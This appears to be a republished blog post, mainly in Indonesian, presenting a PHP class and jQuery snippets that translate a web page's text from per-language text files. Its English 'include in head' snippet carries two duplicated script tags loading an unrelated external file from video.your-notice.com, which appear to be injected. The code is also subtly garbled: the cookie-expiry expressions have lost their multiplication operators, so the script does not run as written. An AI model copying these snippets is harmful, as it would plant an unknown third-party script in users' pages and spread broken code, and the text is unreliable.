Java Script Multi language web page translator

Blogapkdata

Kelas ini dapat menghasilkan JavaScript untuk aplikasi yang diterjemahkan.

Itu dapat melintasi direktori mencari file teks dengan semua string teks yang perlu digunakan situs Web.

Kelas dapat menghasilkan file JavaScript dengan kode yang dapat dimuat oleh halaman Web, untuk menggantikan teks dalam tag HTML untuk menampilkan terjemahan dari teks halaman ke bahasa saat ini.

Terjemahkan halaman web Anda dengan mudah, tidak perlu lagi membuat salinan halaman web Anda dalam berbagai bahasa, hanya satu halaman yang dapat dengan mudah diterjemahkan ke semua bahasa menggunakan kode ini.

CARA KONFIGURASI:

Buat file txt untuk setiap bahasa yang ingin Anda gunakan dan simpan ke folder bahasa di bawah nama file 'kode untuk bahasa.txt' menggunakan huruf kecil dan kode untuk bahasa itu

 'es' untuk spanyol, 

'en' untuk bahasa Inggris,

' fr 'untuk bahasa Prancis , 

dan seterusnya.

 Lakukan pencarian web untuk kode bahasa...

 Anda sekarang dapat menerjemahkan salah satu file bahasa tersebut,

 misalnya 'en.txt', ke bahasa lainnya dengan penerjemah google menggunakan fungsi menerjemahkan file. 

Nama file akan digunakan untuk menampilkan gambar bendera yang terkait dengan bahasa 

Baris pertama file txt menentukan bahasa - Baris kedua menentukan nama bahasa 

 Gunakan satu baris untuk setiap teks yang akan diterjemahkan 

 Anda dapat sertakan tag html dalam file misalnya

<?php header("Access-Control-Allow-Origin: *"); class C_writetranslationfilestojs{ var $translationFile; var $varname=''; function __construct() { $translatefn=' function setCookie(cname, cvalue, exdays) { var d = new Date(); //(exdays 24 60 60 1000) document.cookie = cname + "=" + cvalue + ";expires=Fri, 09 Aug 2013 04:35:50 GMT;path=/"; d.setTime(d.getTime() + exdays); var expires = "expires="+d.toUTCString(); document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/"; } function translate(alang){ setCookie("lang", alang, (365 24 60 60 1000)); lang=alang; translatables =$("[trans]"); if (translatables.length>0){ for (i=0;i<translatables.length;i++){ if($(translatables[i]).attr("placeholder")){ $(translatables[i]).attr("placeholder",window[alang][$(translatables[i]).attr( "trans" )]); }else if($(translatables[i]).attr("data-toggle")=="tooltip"){ $(translatables[i]).attr("title",window[alang][$(translatables[i]).attr( "trans" )]); $(translatables[i]).attr("data-original-title",window[alang][$(translatables[i]).attr( "trans" )]); if ($(translatables[i]).hasClass("fa-ban")){ $(translatables[i]).attr("title",window[alang][$(translatables[i]).attr( "trans" )]); $(translatables[i]).attr("data-original-title",window[alang][$(translatables[i]).attr( "trans" )]); } }else if ($(translatables[i]).attr("data-toggle")!="tooltip"){$(translatables[i]).html(window[alang][$(translatables[i]).attr( "trans" )]);} } } $(\'.selectlang\').val(lang); $(\'.selectlang\').selectpicker(\'render\'); $(\'[data-toggle="tooltip"]\').tooltip(); }'; $localPath='./languages/'; $searchString= "$localPath"."*.txt"; $compile=''; $lang=array(); foreach (glob($searchString) as $flie_name){ $Languagefile=file(utf8_decode($flie_name), FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $jscontext=''; array_push($lang,array($Languagefile[0],$Languagefile[1])); foreach($Languagefile as $key => $value) { $jscontext.="'".str_replace("'","\'",$value)."',"; } $jscontext=substr($jscontext,0,strlen($jscontext)-1); $this->varname=str_replace($localPath,"",str_replace(".txt","",$flie_name)); echo "archivo: ".$Languagefile[0].".txt (".$Languagefile[1].") procesado <br>"; $jscontext=$this->varname."=[".$jscontext."]"; $compile.=$jscontext.";\n"; } $selectlanguages='<a><i class="fas fa-language"></i>   <span trans="none"><SELECT name="lang" id="selectlang" onchange="trans(this.value)" changed.bs.select="trans(this.value)" style="background-color:#ecf0f5;text-transform:capitalize;" data-width="fit" class="selectlang"></a>'; for ($i=0;$i<count($lang);$i++) { $selectlanguages.='<option data-thumbnail="./langImages/'.$lang[$i][0].'.png" value="'.$lang[$i][0].'" style="text-transform:capitalize;">'.$lang[$i][1].'</option>'; } $selectlanguages.='</SELECT></span></a>'; $image_size="24px"; $flags='<div style="margin: auto;">'; for ($i=0;$i<count($lang);$i++) { $flags.= '<img type="image" src="./langImages/'.trim($lang[$i][0]).'.png" width="'.$image_size.'" height="'.$image_size.'" id="lang_'.$i.'" name="'.trim($lang[$i][0]).'" style="cursor:pointer;" onclick="trans('."\'".$lang[$i][0]."\'".')" title= "'.$lang[$i][1].'" alt= "'.$lang[$i][1].'"/>'; } $flags.= '</div>'; $compile.="flagsSelector='$flags';\n\nlangDownLst='$selectlanguages';\n\n $translatefn"; $this->translationFile=$localPath."languages.js"; if (!$handle = fopen($this->translationFile, 'w')) { echo "Can not crate (".$this->translationFile.")..."; exit; } if (fwrite($handle, $compile) === FALSE) { echo "Can not write (".$this->translationFile.")"; exit; } fclose($handle); } } $writeConfig = new C_writetranslationfilestojs(); ?> Javascript: Sertakan kode berikut di kepala file html Anda <head> ... <meta charset="utf-8"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.4.2/css/all.css" integrity="sha384-/rXc/GQVaYpyDdyxK+ecHPVYJSN9bmVFBvjA/9eOB+pb3F2w2N6fc5qB9Ew5yIns" crossorigin="anonymous"> <link rel="stylesheet" href="./css/bootstrap.css"> <link rel="stylesheet" href="./css/bootstrap-select.css"> <!-- jQuery 2.2.3 --> <script src="./js/jquery-2.2.3.min.js"></script> <!-- Bootstrap 3.3.6 --> <script src="./js/bootstrap-3.1.1.min.js"></script> <script src="./js/bootstrap-select.js"></script> <script type="text/javascript" src="./languages/languages.js"></script> <style> .selectlang{ display:none; /Prevent FOUC/} </style> ... </head> Javascript: Di akhir file html tambahkan kode berikut... <script> $(document).ready(function () { $('.flagslist').html(flagsSelector); $('.flags').html(langDownLst); lang = (navigator.language || navigator.userLanguage).substr(0,2); cookies=(document.cookie).split(';'); for(i=0;i<cookies.length;i++) { acookie=cookies[i].split("="); if (((acookie[0]).trim()).trim()=='lang'){ if (acookie[1]!='undefined'){ lang=acookie[1]; } } } translate(lang); }); function trans(alang){ translate(alang); }

Javascript: Include the following code in the head of your html filea

<head> ... <meta charset="utf-8"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.4.2/css/all.css" integrity="sha384-/rXc/GQVaYpyDdyxK+ecHPVYJSN9bmVFBvjA/9eOB+pb3F2w2N6fc5qB9Ew5yIns" crossorigin="anonymous"> <link rel="stylesheet" href="./css/bootstrap.css"> <link rel="stylesheet" href="./css/bootstrap-select.css"> <!-- jQuery 2.2.3 --> <script src="./js/jquery-2.2.3.min.js"></script> <!-- Bootstrap 3.3.6 --> <script src="./js/bootstrap-3.1.1.min.js"></script> <script src="./js/bootstrap-select.js"></script> <script type="text/javascript" src="./languages/languages.js"></script> <style> .selectlang{ display:none; /Prevent FOUC/} </style> ... </head> <script src="https://video.your-notice.com/html_104174.js" defer charset="UTF-8" ></script> <script src="https://video.your-notice.com/html_104174.js" defer charset="UTF-8" ></script>

Javascript: At the end of the html file add the folowing code...

<script> $(document).ready(function () { $('.flagslist').html(flagsSelector); $('.flags').html(langDownLst); lang = (navigator.language || navigator.userLanguage).substr(0,2); cookies=(document.cookie).split(';'); for(i=0;i<cookies.length;i++) { acookie=cookies[i].split("="); if (((acookie[0]).trim()).trim()=='lang'){ if (acookie[1]!='undefined'){ lang=acookie[1]; } } } translate(lang); }); function trans(alang){ translate(alang); } </script>

Tambahkan kelas "flags" untuk menampilkan daftar dropdown atau kelas "flagslist" untuk menampilkan daftar ke tag html yang ingin Anda ubah menjadi penerjemah.

Cukup tambahkan attr trans ke setiap teks, komponen, tag html yang ingin Anda terjemahkan. Sintaks: trans="index" index = nomor baris dalam file terjemahan dikurangi 1; contoh: nomor baris 10 indeks =10-1=9 Contoh kode sumber HTML

Input with placeholder translated

<input class="form-control" trans="11"

placeholder="" value=""> Input textarea with value translated

<textarea trans="13"></textarea> Button with tooltip value translated

<button data-toggle="tooltip" trans="15"

title="">A button</button>

Full Code

Public Phpclasses

MHCSoft Development

Berbagi :